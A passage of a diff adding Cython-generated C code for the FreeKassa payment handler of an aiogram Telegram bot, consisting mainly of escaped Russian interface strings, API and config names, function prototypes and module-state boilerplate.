CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.freekassa_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.freekassa_pay" +extern int __pyx_module_is_main_handlers__payments__freekassa_pay; +int __pyx_module_is_main_handlers__payments__freekassa_pay = 0; + +/* Implementation of "handlers.payments.freekassa_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_[] = "|"; +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_c[] = "c"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k_k[] = "k"; +static const char __pyx_k__4[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\321\217 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__7[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__8[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_ip[] = "ip"; +static const char __pyx_k_RUB[] = "RUB"; +static const char __pyx_k__11[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k__12[] = "\320\236\320\277\320\273\320\260\321\202\320\270\321\202\321\214 "; +static const char __pyx_k__13[] = " \321\200\321\203\320\261\320\273\320\265\320\271"; +static const char __pyx_k__14[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\276\320\277\320\273\320\260\321\202\321\203 \320\275\320\260 "; +static const char __pyx_k__15[] = " \321\200\321\203\320\261\320\273\320\265\320\271. \320\237\320\265\321\200\320\265\320\271\320\264\320\270\321\202\320\265 \320\277\320\276 \321\201\321\201\321\213\320\273\320\272\320\265 \320\264\320\273\321\217 \320\267\320\260\320\262\320\265\321\200\321\210\320\265\320\275\320\270\321\217 \320\276\320\277\320\273\320\260\321\202\321\213:"; +static const char __pyx_k__16[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \320\277\320\276\320\267\320\266\320\265."; +static const char __pyx_k__18[] = "\320\222\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__20[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__21[] = "\320\236\320\277\320\273\320\260\321\202\320\270\321\202\321\214"; +static const char __pyx_k__23[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\321\203\321\216 \321\201\321\203\320\274\320\274\321\203."; +static const char __pyx_k__24[] = "*"; +static const char __pyx_k__25[] = "."; +static const char __pyx_k__35[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_new[] = "new"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_hmac[] = "hmac"; +static const char __pyx_k_json[] = "json"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_post[] = "post"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_time[] = "time"; +static const char __pyx_k_type[] = "type"; +static const char __pyx_k_uuid[] = "uuid"; +static const char __pyx_k_DEBUG[] = "DEBUG"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_email[] = "email"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_level[] = "level"; +static const char __pyx_k_nonce[] = "nonce"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_uuid4[] = "uuid4"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_encode[] = "encode"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_lambda[] = ""; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_params[] = "params"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_sha256[] = "sha256"; +static const char __pyx_k_shopId[] = "shopId"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_values[] = "values"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_api_key[] = "api_key"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_genexpr[] = "genexpr"; +static const char __pyx_k_hashlib[] = "hashlib"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_logging[] = "logging"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_success[] = "success"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_user_ip[] = "user_ip"; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_currency[] = "currency"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_keyboard[] = "keyboard"; +static const char __pyx_k_location[] = "location"; +static const char __pyx_k_metadata[] = "metadata"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_requests[] = "requests"; +static const char __pyx_k_response[] = "response"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_solo_net[] = "@solo.net"; +static const char __pyx_k_FreeKassa[] = "\320\236\321\202\320\262\320\265\321\202 \320\276\321\202 FreeKassa \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_completed[] = "completed"; +static const char __pyx_k_freekassa[] = "freekassa"; +static const char __pyx_k_hexdigest[] = "hexdigest"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_paymentId[] = "paymentId"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_signature[] = "signature"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_payment_id[] = "payment_id"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_user_email[] = "user_email"; +static const char __pyx_k_FreeKassa_2[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\267\320\260\320\277\321\200\320\276\321\201\320\260 \320\272 FreeKassa: "; +static const char __pyx_k_FreeKassa_3[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275 \320\262\320\265\320\261\321\205\321\203\320\272 \320\276\321\202 FreeKassa: "; +static const char __pyx_k_FreeKassa_4[] = "\320\224\320\260\320\275\320\275\321\213\320\265 \320\262\320\265\320\261\321\205\321\203\320\272\320\260 \320\276\321\202 FreeKassa: "; +static const char __pyx_k_FreeKassa_5[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \321\207\320\265\321\200\320\265\320\267 FreeKassa:"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_basicConfig[] = "basicConfig"; +static const char __pyx_k_freekassa_2[] = "freekassa_"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_payment_url[] = "payment_url"; +static const char __pyx_k_sign_string[] = "sign_string"; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_pay_freekassa[] = "pay_freekassa"; +static const char __pyx_k_response_data[] = "response_data"; +static const char __pyx_k_sorted_params[] = "sorted_params"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_create_payment[] = "create_payment"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_inline_keyboard[] = "inline_keyboard"; +static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; +static const char __pyx_k_freekassa_amount[] = "freekassa_amount|"; +static const char __pyx_k_FREEKASSA_API_KEY[] = "FREEKASSA_API_KEY"; +static const char __pyx_k_FREEKASSA_SHOP_ID[] = "FREEKASSA_SHOP_ID"; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_freekassa_webhook[] = "freekassa_webhook"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_generate_signature[] = "generate_signature"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardMarkup[] = "InlineKeyboardMarkup"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_choosing_amount_freekassa[] = "choosing_amount_freekassa"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_enter_custom_amount_freekassa[] = "enter_custom_amount_freekassa"; +static const char __pyx_k_process_callback_pay_freekassa[] = "process_callback_pay_freekassa"; +static const char __pyx_k_handlers_payments_freekassa_pay[] = "handlers.payments.freekassa_pay"; +static const char __pyx_k_entering_custom_amount_freekassa[] = "entering_custom_amount_freekassa"; +static const char __pyx_k_generate_signature_locals_genexp[] = "generate_signature..genexpr"; +static const char __pyx_k_https_api_freekassa_com_v1_order[] = "https://api.freekassa.com/v1/orders/create"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_freekassa"; +static const char __pyx_k_handlers_payments_freekassa_pay_2[] = "handlers/payments/freekassa_pay.py"; +/* #### Code section: decls ### */ +static PyObject *__pyx_lambda_funcdef_8handlers_8payments_13freekassa_pay_lambda1(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_c); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_18generate_signature_genexpr(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_genexpr_arg_0); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_generate_signature(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_params, PyObject *__pyx_v_api_key); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_2create_payment(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_user_id, PyObject *__pyx_v_amount, PyObject *__pyx_v_email, PyObject *__pyx_v_ip); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_5freekassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_8process_callback_pay_freekassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_11process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_14process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_17process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, CYTHON_UNUSED PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input; + PyObject *__pyx_kp_u_; + PyObject *__pyx_n_s_DEBUG; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FREEKASSA_API_KEY; + PyObject *__pyx_n_s_FREEKASSA_SHOP_ID; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_kp_u_FreeKassa; + PyObject *__pyx_kp_u_FreeKassa_2; + PyObject *__pyx_kp_u_FreeKassa_3; + PyObject *__pyx_kp_u_FreeKassa_4; + PyObject *__pyx_kp_u_FreeKassa_5; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_n_u_RUB; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__13; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_n_u__21; + PyObject *__pyx_kp_u__23; + PyObject *__pyx_n_s__24; + PyObject *__pyx_kp_u__25; + PyObject *__pyx_n_s__35; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__7; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_u_amount; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_api_key; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_basicConfig; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_c; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_choosing_amount_freekassa; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_u_completed; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_confirm_keyboard; + PyObject *__pyx_n_s_create_payment; + PyObject *__pyx_n_u_currency; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_n_s_email; + PyObject *__pyx_n_u_email; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_s_encode; + PyObject *__pyx_n_u_enter_custom_amount_freekassa; + PyObject *__pyx_n_s_entering_custom_amount_freekassa; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_u_freekassa; + PyObject *__pyx_n_u_freekassa_2; + PyObject *__pyx_kp_u_freekassa_amount; + PyObject *__pyx_n_s_freekassa_webhook; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_generate_signature; + PyObject *__pyx_n_s_generate_signature_locals_genexp; + PyObject *__pyx_n_s_genexpr; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_handlers_payments_freekassa_pay; + PyObject *__pyx_kp_s_handlers_payments_freekassa_pay_2; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_n_s_hashlib; + PyObject *__pyx_n_s_hexdigest; + PyObject *__pyx_n_s_hmac; + PyObject *__pyx_kp_u_https_api_freekassa_com_v1_order; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_u_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_n_s_inline_keyboard; + PyObject *__pyx_n_s_ip; + PyObject *__pyx_n_u_ip; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_json; + PyObject *__pyx_n_s_k; + PyObject *__pyx_n_s_keyboard; + PyObject *__pyx_n_s_lambda; + PyObject *__pyx_n_s_level; + PyObject *__pyx_n_u_location; + PyObject *__pyx_n_s_logging; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_u_metadata; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_new; + PyObject *__pyx_n_s_nonce; + PyObject *__pyx_n_u_nonce; + PyObject *__pyx_n_s_params; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_freekassa; + PyObject *__pyx_n_u_paymentId; + PyObject *__pyx_n_s_payment_id; + PyObject *__pyx_n_s_payment_url; + PyObject *__pyx_n_s_post; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_freekassa; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_s_requests; + PyObject *__pyx_n_s_response; + PyObject *__pyx_n_s_response_data; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_n_s_sha256; + PyObject *__pyx_n_u_shopId; + PyObject *__pyx_n_s_sign_string; + PyObject *__pyx_n_u_signature; + PyObject *__pyx_kp_u_solo_net; + PyObject *__pyx_n_s_sorted_params; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_u_status; + PyObject *__pyx_n_u_success; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_time; + PyObject *__pyx_n_u_type; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_email; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_n_u_user_id; + PyObject *__pyx_n_s_user_ip; + PyObject *__pyx_n_s_uuid; + PyObject *__pyx_n_s_uuid4; + PyObject *__pyx_n_s_values; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_web; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_6; + PyObject *__pyx_int_200; + PyObject *__pyx_int_1000; + PyObject *__pyx_tuple__3; + PyObject *__pyx_tuple__10; + PyObject *__pyx_tuple__22; + PyObject *__pyx_tuple__26; + PyObject *__pyx_tuple__28; + PyObject *__pyx_tuple__29; + PyObject *__pyx_tuple__30; + PyObject *__pyx_tuple__31; + PyObject *__pyx_tuple__32; + PyObject *__pyx_tuple__33; + PyObject *__pyx_tuple__34; + PyObject *__pyx_codeobj__2; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__6; + PyObject *__pyx_codeobj__9; + PyObject *__pyx_codeobj__17; + PyObject *__pyx_codeobj__19; + PyObject *__pyx_codeobj__27; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount); + 